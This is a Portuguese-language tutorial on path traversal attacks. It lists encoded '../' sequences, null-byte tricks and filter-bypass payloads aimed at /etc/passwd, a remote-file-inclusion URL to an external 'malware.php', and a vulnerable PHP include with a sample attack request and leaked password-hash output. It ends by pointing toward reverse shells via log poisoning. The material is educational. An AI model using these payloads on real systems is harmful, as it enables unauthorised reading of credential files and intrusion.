Path Transversal, também chamado de directory traversal, dot-dot-slash (../), directory climbing e backtracking, é um tipo de ataque que tem como principal alvo acessar diretório que são armazenados fora da pasta raíz da aplicação web. Manipulando as variáveis de referencia de arquivos com sequências de”dot-dot-slash (../)” e suas variações é possível de acessar arquivos sensíveis e diretórios que armazenam arquivos do sistema, incluindo o código fonte da aplicação, a configuração, ou arquivos críticos do sistema.

É possível perceber que o acesso pode ser limitado pelo controle de acesso do sistema operacional, como arquivos "trancados" orem uso pelo sistema operacional do Windows


Ataques

Ataques codificados:

%2e%2e%2f representa ../ %2e%2e/ representa ../ ..%2f representa ../ %2e%2e%5c representa ../ %2e%2e\ representa ..\ ..%5c representa ..\ %252e%252e%255c representa ..\ ..%255c representa ..\

e assim por diante…

Existem diferenças entre ataques de Path Transversal em UNIX e WINDOWS.

Root directory : " / "
Directory separator: " / "
Root directory: " <partition letter> :\ "
Note que todos o WINDOWS permite que nomes de arquivos tenham os caracteres . \ /

Em diversos sistemas operacionais, NULL bytes (%00) podem ser injetados para terminar um arquivo. Por exemplo, enviar um parametro do tipo:

?file=secrect.doc%00.pdf

vai resultar na aplicação Java processando que o arquivo termina com ".pdf" e o sistema operacional vai ver que o arquivo termina com ".doc". Hackers podem utilizar desse truque para burlar sistemas de verificação e validação.


Exemplos

Exemplo 1

O seguinte exemplo mostra como uma aplicação lida com os recursos que estão sendo utilizados

http://site.com.br/get-files.jsp?file=report.pdf
http://site.com.br/get-page.php?home=aaa.html
http://site.com.br/some-page.asp?page=index.html

Nesses exemplos é possível inserir uma string maliciosa como parâmetro de variável para acessar os arquivos localizados fora do diretório publicado

http://site.com.br/get-file?file=../../../../dir/arq

As seguintes URLs mostram exemplos de uma exploração no arquivo de senha NIX

http://site.com.br/get-files?file=/etc/passwd

Exemplo 2

É também possível incluir arquivos e scripts localizados em sites externos.

http://site.com.br/some-page?page=http://other-site.com.br/other-site.hm/malware.php

Exemplo 3

Esse exemplo ilustra o caso em que o atacante pode fazer o server mostrar o GCI do código fonte

http://site.com.br/cgi-bin/main.cgi?file=main.cgi

Exemplo 4

Um típico exemplo de um código de página vulnerável é

<?php
$template = 'blue.php';
if (is_set ($_COOKIE['TEMPLATE']))
	$template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template)
?>

Um hacker poderia usar isso contra o sistema em mandar o seguinte HTTP request

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../etc/passwd

Gerando a seguinte resposta:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
 
root:f13sED95ibqR6:0:1:System Operator:/:/bin/ksh
deamon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

Experiência

Algumas aplicações práticas de path transversall

Existem algumas aplicações que bloqueiam o path transversal através de:

../../../../../../etc/passwd

Entretanto, existem maneiras de burlar esse filtro, através do caminho absoluto, por exemplo:

/etc/passwd

Dessa maneira, o filtro consegue ter um bypass.

Existem outras maneiras de burlar esse sistema, como por exemplo, uma chamada recursiva no filepath, por exemplo:

....//....//....//etc/passwd
..%252f..%252f..%252f..%252fetc/passwd

As vezes, é possível que o sistema valide se o path requisitado está sendo solicitado de uma pasta com permissão. Entretanto, é possível reaplicar o path transversal, sendo:

/var/www/images/../../../etc/passwd

As vezes, é possível que o sistema valide se a extensão do arquivo seja de um determinado tipo (como .png). Entretanto, com um bypass utilizando o Null Byte, podemos passar por isso, como por exemplo:

../../../etc/passwd%00.png

PathTransversal2ReverseShell

Ainda que, essencialmente, o Path Transversal seja essencialmente útil para leitura de arquivos, ainda assim, dependendo da forma de implementação, é possível obter um (CWE-94) Improper Control of Generation of Code (‘Code Injection’).

No vídeo I Hacked & Exposed This Evil Website for Educational Purposes - CTF, o autor do vídeo demonstra isso de maneira didática.

Em resumo, é possível escrever um código malicioso nos arquivos de log do servidor, através de um Log Poisoning